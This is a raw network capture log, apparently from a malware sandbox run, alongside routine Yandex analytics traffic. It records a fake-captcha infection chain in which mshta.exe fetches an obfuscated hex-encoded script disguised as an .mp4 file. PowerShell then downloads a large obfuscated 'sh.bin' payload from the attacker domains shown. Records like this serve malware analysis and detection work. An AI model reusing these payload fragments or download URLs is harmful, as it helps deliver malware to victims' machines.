2025-01-10 19:49:42 UTC	1359	OUT	GET /clmap/99162160?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&pointer-click=rn%3A786155015%3Ax%3A35108%3Ay%3A39789%3At%3A45%3Ap%3A%3FAAA1%3AX%3A517%3AY%3A455&browser-info=u%3A1736538575118140447%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736538580&t=gdpr(14)ti(1) HTTP/1.1 Host: mc.yandex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; sync_cookie_ok=synced; yp=1736624980.yu.4946145631736538575; ymex=1739130580.oyu.4946145631736538575
2025-01-10 19:49:42 UTC	374	IN	HTTP/1.1 200 Ok Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:42 GMT Expires: Fri, 10-Jan-2025 19:49:42 GMT Last-Modified: Fri, 10-Jan-2025 19:49:42 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49800	104.21.32.1	443	7780	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:53 UTC	370	OUT	GET /awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: solve.bogx.org Connection: Keep-Alive
2025-01-10 19:49:56 UTC	856	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 19:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UeY6zsrZritY5UNOiiu7qS1xt1cjkghZ1OtUKB%2Bhoh7BN6TGsltkxNlii%2FrWe335MARolIlUq1i%2FrNjkvHYVAGCqt8XdJdTjTW2vJ5GIuh6fME5HF6td%2BC6pjxX6hJiHLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff315f3defc327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1566&rtt_var=590&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2815&recv_bytes=952&delivery_rate=1864623&cwnd=189&unsent_bytes=0&cid=3c6bf2da443ec7b4&ts=3691&x=0"
2025-01-10 19:49:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	49801	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:56 UTC	2060	OUT	POST /watch/99162160/1?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&hittoken=1736538578_d6fe6964b8ee9b00961a28e9269cf4f20208bb891f511871f2a029afb5fbcf99&browser-info=nb%3A1%3Acl%3A3412%3Aar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144955%3Aet%3A1736538596%3Ac%3A1%3Arn%3A432429548%3Arqn%3A3%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Aco%3A0%3Acpf%3A1%3Aeu%3A2%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538596&t=gdpr(14)mc(g-1)clc(1-517-455)rqnt(3)aw(1)rcm(1)cdl(na)eco(42009088)dss(2)fid(880)ti(0)&force-urlencoded=1&site-info=%7B%22__ym%22%3A%7B%22ct%22%3A%5B%5D%7D%7D HTTP/1.1 Host: mc.yandex.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; yabs-sid=2548642991736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; sync_cookie_ok=synced; yp=1736624980.yu.4946145631736538575; ymex=1739130580.oyu.4946145631736538575
2025-01-10 19:49:57 UTC	762	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://patiooutletmaipu.cl Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:57 GMT Expires: Fri, 10-Jan-2025 19:49:57 GMT Last-Modified: Fri, 10-Jan-2025 19:49:57 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block
2025-01-10 19:49:57 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	49802	188.114.97.3	443	7780	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:57 UTC	344	OUT	GET /sh_rdeqi.mp4 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Connection: Keep-Alive Host: b1.exploredairyaptitude.shop
2025-01-10 19:49:57 UTC	917	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:49:57 GMT Content-Type: video/mp4 Content-Length: 482418 Connection: close Accept-Ranges: bytes ETag: "96c2708f568f6ff449312840513bc9d4" Last-Modified: Fri, 10 Jan 2025 15:57:22 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qr3bv1ED2Q11UpyW7neEksBEHWaqzRccs2G%2BpdoeZ14Fqn3Supw%2FBoTEKKzpVSa6AAaO5oIEOWlgBj1M9F3691wKR7v0skYv5QrwZU18ru69WEhE9VatBrIPn6g%2Fpe%2FxMbEJ421laCIGKVxZVV6l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff31792d615e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1558&rtt_var=590&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2879&recv_bytes=926&delivery_rate=1844598&cwnd=245&unsent_bytes=0&cid=6489b2dfcf2b7657&ts=283&x=0"
2025-01-10 19:49:57 UTC	452	IN	Data Raw: 36 36 73 37 35 71 36 65 55 36 33 77 37 34 4f 36 39 77 36 66 50 36 65 50 32 30 69 37 39 6b 34 63 65 35 32 59 34 66 77 35 36 75 35 35 51 32 38 76 37 61 51 36 37 7a 37 38 55 36 63 68 36 32 6d 36 66 76 32 39 52 37 62 58 37 36 41 36 31 76 37 32 4b 32 30 4a 37 34 44 36 32 65 35 33 53 36 64 51 33 64 53 32 30 4f 32 37 6a 32 37 62 33 62 53 36 36 78 36 66 52 37 32 77 32 30 6e 32 38 53 37 36 75 36 31 50 37 32 43 32 30 59 37 34 6f 36 36 68 37 34 59 34 33 4d 36 39 57 36 34 77 32 30 6b 33 64 55 32 30 73 33 30 77 33 62 5a 37 34 78 36 36 76 37 34 53 34 33 6c 36 39 46 36 34 4d 32 30 45 33 63 53 32 30 4e 37 61 47 36 37 69 37 38 4b 36 63 6f 36 32 64 36 66 54 32 65 69 36 63 58 36 35 75 36 65 54 36 37 41 37 34 43 36 38 56 33 62 62 32 30 48 37 34 64 36 36 6c 37 34 72 34 33 48 Data Ascii: 66s75q6eU63w74O69w6fP6eP20i79k4ce52Y4fw56u55Q28v7aQ67z78U6ch62m6fv29R7bX76A61v72K20J74D62e53S6dQ3dS20O27j27b3bS66x6fR72w20n28S76u61P72C20Y74o66h74Y43M69W64w20k3dU20s30w3bZ74x66v74S43l69F64M20E3cS20N7aG67i78K6co62d6fT2ei6cX65u6eT67A74C68V3bb20H74d66l74r43H
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 4e 33 64 6c 32 30 74 37 34 41 36 32 48 35 33 4b 36 64 75 32 30 78 32 62 78 32 30 59 34 39 6c 36 64 65 37 37 7a 34 35 4f 34 32 4c 36 36 6b 37 64 52 37 32 77 36 35 4b 37 34 4b 37 35 41 37 32 53 36 65 4c 32 30 73 37 34 6f 36 32 4e 35 33 6b 36 64 4f 37 64 68 33 62 47 37 36 52 36 31 6b 37 32 76 32 30 4b 37 34 79 36 32 62 35 33 52 36 64 45 32 30 59 33 64 7a 32 30 47 37 39 4a 34 63 44 35 32 6b 34 66 53 35 36 63 35 35 55 32 38 4a 35 62 6d 33 37 47 33 32 4e 33 33 76 32 63 57 33 37 64 33 32 42 33 32 76 32 63 61 33 37 42 33 33 4c 33 30 75 32 63 5a 33 37 66 33 31 51 33 32 72 32 63 47 33 37 42 33 32 6a 33 35 6f 32 63 51 33 37 6a 33 32 54 33 36 4d 32 63 59 33 37 4c 33 31 45 33 35 72 32 63 50 33 37 62 33 31 5a 33 32 4d 32 63 73 33 37 62 33 31 62 33 39 61 32 63 73 33 37 Data Ascii: N3dl20t74A62H53K6du20x2bx20Y49l6de77z45O42L66k7dR72w65K74K75A72S6eL20s74o62N53k6dO7dh3bG76R61k72v20K74y62b53R6dE20Y3dz20G79J4cD52k4fS56c55U28J5bm37G32N33v2cW37d32B32v2ca37B33L30u2cZ37f31Q32r2cG37B32j35o2cQ37j32T36M2cY37L31E35r2cP37b31Z32M2cs37b31b39a2cs37
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 33 36 64 33 38 69 33 31 79 32 63 58 33 37 48 33 31 77 33 30 55 32 63 48 33 36 46 33 37 61 33 36 47 32 63 56 33 37 48 33 30 68 33 39 56 32 63 6f 33 37 42 33 33 76 33 30 52 32 63 73 33 36 46 33 37 48 33 37 6d 32 63 50 33 36 49 33 36 46 33 32 63 32 63 63 33 36 5a 33 37 79 33 36 46 32 63 56 33 36 78 33 37 6a 33 39 58 32 63 6f 33 37 41 33 30 51 33 30 6f 32 63 70 33 36 77 33 37 58 33 36 4d 32 63 50 33 36 43 33 38 74 33 39 4d 32 63 49 33 36 42 33 37 75 33 36 43 32 63 6b 33 36 45 33 37 44 33 37 6d 32 63 57 33 37 77 33 31 6a 33 30 50 32 63 43 33 36 55 33 37 73 33 36 69 32 63 48 33 36 56 33 38 6b 33 31 58 32 63 58 33 37 4a 33 31 68 33 30 6f 32 63 6b 33 36 48 33 37 63 33 36 76 32 63 68 33 37 75 33 30 58 33 38 4e 32 63 4f 33 36 74 33 39 55 33 32 62 32 63 66 33 36 76 Data Ascii: 36d38i31y2cX37H31w30U2cH36F37a36G2cV37H30h39V2co37B33v30R2cs36F37H37m2cP36I36F32c2cc36Z37y36F2cV36x37j39X2co37A30Q30o2cp36w37X36M2cP36C38t39M2cI36B37u36C2ck36E37D37m2cW37w31j30P2cC36U37s36i2cH36V38k31X2cX37J31h30o2ck36H37c36v2ch37u30X38N2cO36t39U32b2cf36v
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 36 58 33 37 51 33 36 43 32 63 74 33 36 48 33 38 4e 33 34 4b 32 63 75 33 37 4e 33 31 6d 33 34 56 32 63 63 33 36 48 33 37 59 33 36 55 32 63 43 33 37 76 33 31 4b 33 34 6d 32 63 4f 33 36 77 33 37 56 33 36 43 32 63 4e 33 36 78 33 37 7a 33 38 65 32 63 51 33 36 71 33 35 54 33 39 67 32 63 7a 33 36 54 33 37 71 33 36 65 32 63 45 33 36 62 33 39 55 33 37 6f 32 63 4b 33 37 52 33 33 46 33 30 70 32 63 4e 33 36 56 33 37 45 33 37 75 32 63 6d 33 37 72 33 32 56 33 33 4c 32 63 43 33 36 69 33 37 6d 33 36 68 32 63 43 33 36 4e 33 38 6f 33 32 76 32 63 48 33 36 69 33 36 75 33 33 45 32 63 75 33 36 46 33 37 56 33 36 49 32 63 52 33 37 74 33 30 51 33 31 61 32 63 61 33 36 57 33 37 63 33 36 77 32 63 72 33 36 67 33 37 6f 33 37 73 32 63 74 33 37 46 33 32 73 33 39 59 32 63 55 33 36 48 33 Data Ascii: 6X37Q36C2ct36H38N34K2cu37N31m34V2cc36H37Y36U2cC37v31K34m2cO36w37V36C2cN36x37z38e2cQ36q35T39g2cz36T37q36e2cE36b39U37o2cK37R33F30p2cN36V37E37u2cm37r32V33L2cC36i37m36h2cC36N38o32v2cH36i36u33E2cu36F37V36I2cR37t30Q31a2ca36W37c36w2cr36g37o37s2ct37F32s39Y2cU36H3
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 75 33 37 51 33 36 6c 32 63 68 33 36 71 33 37 4e 33 37 57 32 63 4b 33 37 49 33 32 72 33 33 53 32 63 4c 33 36 65 33 37 67 33 36 61 32 63 54 33 36 78 33 38 58 33 32 78 32 63 77 33 36 4c 33 39 73 33 32 54 32 63 72 33 36 51 33 37 69 33 36 44 32 63 6b 33 37 79 33 30 56 33 31 66 32 63 76 33 36 58 33 37 63 33 36 44 32 63 41 33 36 4a 33 37 75 33 37 54 32 63 4d 33 37 44 33 31 49 33 39 6d 32 63 4f 33 36 74 33 37 4b 33 36 43 32 63 6a 33 36 53 33 38 44 33 32 45 32 63 6c 33 36 71 33 36 44 33 33 45 32 63 43 33 36 77 33 37 74 33 36 52 32 63 49 33 36 4a 33 38 6c 33 35 4d 32 63 6e 33 37 4c 33 33 57 33 30 6f 32 63 43 33 36 64 33 37 61 33 36 4b 32 63 43 33 37 45 33 32 6c 33 36 74 32 63 43 33 36 46 33 37 45 33 36 79 32 63 46 33 36 66 33 37 54 33 38 52 32 63 75 33 37 52 33 31 Data Ascii: u37Q36l2ch36q37N37W2cK37I32r33S2cL36e37g36a2cT36x38X32x2cw36L39s32T2cr36Q37i36D2ck37y30V31f2cv36X37c36D2cA36J37u37T2cM37D31I39m2cO36t37K36C2cj36S38D32E2cl36q36D33E2cC36w37t36R2cI36J38l35M2cn37L33W30o2cC36d37a36K2cC37E32l36t2cC36F37E36y2cF36f37T38R2cu37R31
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 33 31 53 33 38 4c 32 63 48 33 36 69 33 37 42 33 36 66 32 63 44 33 36 69 33 38 65 33 33 67 32 63 63 33 36 4c 33 38 62 33 34 52 32 63 51 33 36 7a 33 37 63 33 36 79 32 63 58 33 36 62 33 38 59 33 34 61 32 63 42 33 36 41 33 37 45 33 36 75 32 63 4f 33 36 49 33 37 57 33 36 76 32 63 4e 33 37 65 33 32 77 33 37 66 32 63 57 33 36 42 33 37 57 33 36 6b 32 63 6a 33 36 71 33 37 4b 33 38 68 32 63 79 33 37 48 33 32 70 33 32 6d 32 63 41 33 36 75 33 37 4e 33 36 4d 32 63 4a 33 36 70 33 39 56 33 30 61 32 63 76 33 37 72 33 33 4a 33 30 48 32 63 65 33 36 47 33 37 52 33 37 75 32 63 4c 33 36 6a 33 39 54 33 35 78 32 63 4f 33 36 76 33 37 75 33 36 50 32 63 63 33 36 73 33 38 4f 33 32 67 32 63 51 33 36 71 33 39 62 33 36 74 32 63 4b 33 36 52 33 37 75 33 36 54 32 63 76 33 37 4a 33 31 6d Data Ascii: 31S38L2cH36i37B36f2cD36i38e33g2cc36L38b34R2cQ36z37c36y2cX36b38Y34a2cB36A37E36u2cO36I37W36v2cN37e32w37f2cW36B37W36k2cj36q37K38h2cy37H32p32m2cA36u37N36M2cJ36p39V30a2cv37r33J30H2ce36G37R37u2cL36j39T35x2cO36v37u36P2cc36s38O32g2cQ36q39b36t2cK36R37u36T2cv37J31m
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 37 63 33 38 45 32 63 62 33 37 41 33 31 43 33 34 4e 32 63 76 33 36 6b 33 37 47 33 36 45 32 63 4a 33 36 62 33 38 73 33 36 49 32 63 4a 33 36 5a 33 37 64 33 36 79 32 63 6d 33 36 75 33 37 79 33 36 6b 32 63 45 33 37 7a 33 31 6c 33 38 4f 32 63 4c 33 36 58 33 37 4a 33 36 68 32 63 46 33 36 69 33 38 6f 33 30 55 32 63 72 33 36 66 33 39 51 33 36 4f 32 63 59 33 36 6d 33 37 49 33 36 74 32 63 6e 33 37 64 33 31 6b 33 32 61 32 63 4a 33 36 4c 33 37 68 33 36 46 32 63 48 33 36 68 33 37 6e 33 37 67 32 63 69 33 37 72 33 31 41 33 39 62 32 63 4f 33 36 6f 33 37 43 33 36 58 32 63 61 33 36 59 33 38 7a 33 32 62 32 63 6e 33 36 58 33 38 51 33 38 64 32 63 49 33 36 50 33 37 61 33 36 41 32 63 6c 33 37 45 33 31 78 33 31 62 32 63 4f 33 36 4b 33 39 45 33 32 7a 32 63 71 33 36 44 33 37 61 33 Data Ascii: 7c38E2cb37A31C34N2cv36k37G36E2cJ36b38s36I2cJ36Z37d36y2cm36u37y36k2cE37z31l38O2cL36X37J36h2cF36i38o30U2cr36f39Q36O2cY36m37I36t2cn37d31k32a2cJ36L37h36F2cH36h37n37g2ci37r31A39b2cO36o37C36X2ca36Y38z32b2cn36X38Q38d2cI36P37a36A2cl37E31x31b2cO36K39E32z2cq36D37a3
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 71 33 36 61 32 63 66 33 37 72 33 30 53 33 30 4b 32 63 6c 33 37 79 33 33 55 33 30 59 32 63 61 33 36 46 33 37 54 33 37 68 32 63 45 33 36 68 33 36 69 33 30 55 32 63 51 33 36 79 33 37 74 33 36 6f 32 63 50 33 36 72 33 38 69 33 33 67 32 63 76 33 36 76 33 39 76 33 32 54 32 63 4d 33 36 61 33 37 61 33 36 58 32 63 61 33 37 55 33 30 47 33 38 73 32 63 6b 33 36 68 33 39 43 33 32 66 32 63 6c 33 36 43 33 37 51 33 37 46 32 63 78 33 37 67 33 32 4b 33 39 4a 32 63 6d 33 36 42 33 37 74 33 36 62 32 63 77 33 36 42 33 38 4c 33 32 6e 32 63 4a 33 36 6c 33 36 50 33 33 71 32 63 43 33 36 42 33 37 4c 33 36 7a 32 63 65 33 36 76 33 39 47 33 32 6a 32 63 61 33 37 70 33 33 6b 33 30 6a 32 63 76 33 36 4f 33 37 44 33 37 4d 32 63 61 33 37 63 33 32 6a 33 39 4f 32 63 6b 33 36 6d 33 37 67 33 36 Data Ascii: q36a2cf37r30S30K2cl37y33U30Y2ca36F37T37h2cE36h36i30U2cQ36y37t36o2cP36r38i33g2cv36v39v32T2cM36a37a36X2ca37U30G38s2ck36h39C32f2cl36C37Q37F2cx37g32K39J2cm36B37t36b2cw36B38L32n2cJ36l36P33q2cC36B37L36z2ce36v39G32j2ca37p33k30j2cv36O37D37M2ca37c32j39O2ck36m37g36
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 33 34 54 32 63 50 33 36 67 33 37 56 33 37 59 32 63 50 33 37 6c 33 31 6d 33 31 6d 32 63 7a 33 36 76 33 37 52 33 36 7a 32 63 4d 33 36 54 33 37 77 33 38 61 32 63 52 33 36 6b 33 36 43 33 33 71 32 63 74 33 36 7a 33 37 4d 33 36 6d 32 63 4d 33 36 65 33 39 4c 33 35 53 32 63 69 33 37 62 33 31 58 33 34 77 32 63 76 33 36 48 33 37 56 33 37 4b 32 63 57 33 37 55 33 31 43 33 35 57 32 63 66 33 36 41 33 37 69 33 36 4f 32 63 52 33 36 6a 33 38 49 33 32 66 32 63 52 33 36 70 33 35 49 33 39 69 32 63 6b 33 36 49 33 37 61 33 36 51 32 63 54 33 37 69 33 30 4d 33 31 6c 32 63 5a 33 36 55 33 39 45 33 32 59 32 63 59 33 36 55 33 37 45 33 36 45 32 63 78 33 37 6d 33 32 44 33 33 78 32 63 68 33 36 67 33 37 4b 33 36 73 32 63 51 33 36 79 33 38 55 33 33 64 32 63 57 33 37 66 33 33 42 33 30 73 Data Ascii: 34T2cP36g37V37Y2cP37l31m31m2cz36v37R36z2cM36T37w38a2cR36k36C33q2ct36z37M36m2cM36e39L35S2ci37b31X34w2cv36H37V37K2cW37U31C35W2cf36A37i36O2cR36j38I32f2cR36p35I39i2ck36I37a36Q2cT37i30M31l2cZ36U39E32Y2cY36U37E36E2cx37m32D33x2ch36g37K36s2cQ36y38U33d2cW37f33B30s
2025-01-10 19:49:57 UTC	1369	IN	Data Raw: 34 47 32 63 6d 33 36 79 33 37 4d 33 36 64 32 63 4a 33 36 77 33 38 69 33 33 50 32 63 68 33 36 7a 33 39 65 33 32 61 32 63 52 33 36 43 33 37 51 33 36 75 32 63 6c 33 36 5a 33 38 4c 33 36 6b 32 63 66 33 37 45 33 31 73 33 34 62 32 63 68 33 36 51 33 37 72 33 37 42 32 63 47 33 37 4f 33 32 6f 33 39 69 32 63 51 33 36 56 33 37 52 33 36 59 32 63 5a 33 36 72 33 38 56 33 32 52 32 63 4e 33 36 64 33 35 77 33 39 58 32 63 72 33 36 6b 33 37 50 33 36 62 32 63 53 33 36 4e 33 38 71 33 36 73 32 63 4c 33 37 54 33 31 61 33 34 68 32 63 46 33 36 6b 33 37 77 33 37 74 32 63 46 33 37 67 33 31 49 33 38 54 32 63 4c 33 36 76 33 37 4b 33 36 77 32 63 6c 33 36 73 33 37 56 33 38 75 32 63 44 33 37 74 33 31 57 33 30 42 32 63 48 33 36 56 33 37 6b 33 36 77 32 63 42 33 36 50 33 38 69 33 35 73 32 Data Ascii: 4G2cm36y37M36d2cJ36w38i33P2ch36z39e32a2cR36C37Q36u2cl36Z38L36k2cf37E31s34b2ch36Q37r37B2cG37O32o39i2cQ36V37R36Y2cZ36r38V32R2cN36d35w39X2cr36k37P36b2cS36N38q36s2cL37T31a34h2cF36k37w37t2cF37g31I38T2cL36v37K36w2cl36s37V38u2cD37t31W30B2cH36V37k36w2cB36P38i35s2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49803	188.114.96.3	443	8096	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:50:04 UTC	84	OUT	GET /sh.bin HTTP/1.1 Host: d1.exploredairyaptitude.shop Connection: Keep-Alive
2025-01-10 19:50:05 UTC	939	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:50:05 GMT Content-Type: application/octet-stream Content-Length: 8965208 Connection: close Accept-Ranges: bytes ETag: "517a91f729add749c021b97123fa6a84" Last-Modified: Fri, 10 Jan 2025 15:51:30 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wh8ejKmnGmEzpSfvO%2FBvpS%2FpIXAAgAP1xtkTBr%2FdHOwEvn0Bk8XX2RSjHOGdwPhS%2BZzqi39uJeEawU0MbQOySIRkGJ9jNZ%2BameUzp0nCRuQ8AufiHnaWrFZf6RwK2BlVU%2BI2asF4u1ilEDu%2FDVE0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff31a82d0b4297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1915&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2878&recv_bytes=698&delivery_rate=1441263&cwnd=245&unsent_bytes=0&cid=4fca4a612afbedb5&ts=335&x=0"
2025-01-10 19:50:05 UTC	1369	IN	Data Raw: 0d 0a 24 75 76 52 41 42 45 41 70 5a 20 3d 20 28 28 28 28 28 28 28 2d 33 32 20 2a 20 33 34 34 31 30 29 20 2b 20 32 38 32 30 30 29 20 2b 20 34 39 35 36 29 20 2a 20 28 28 28 28 28 2d 36 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 37 38 39 38 39 29 20 2a 20 30 29 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 29 29 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 29 20 2d 20 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2d 20 32 33 33 31 32 29 20 2d 20 24 75 76 52 41 42 45 41 70 5a 29 20 2b 20 38 39 30 38 29 29 0d 0a 24 57 4e 70 41 58 78 4a 76 20 3d 20 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2d 20 28 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2b 20 24 75 76 52 41 42 45 41 70 5a 29 20 2d 20 24 75 76 52 41 42 45 41 Data Ascii: $uvRABEApZ = (((((((-32 * 34410) + 28200) + 4956) * (((((-6 - $uvRABEApZ) + 78989) * 0) + $uvRABEApZ))) - $uvRABEApZ)) - ((($uvRABEApZ - 23312) - $uvRABEApZ) + 8908))$WNpAXxJv = ((((($uvRABEApZ + $uvRABEApZ) - (((((($uvRABEApZ + $uvRABEApZ) - $uvRABEA
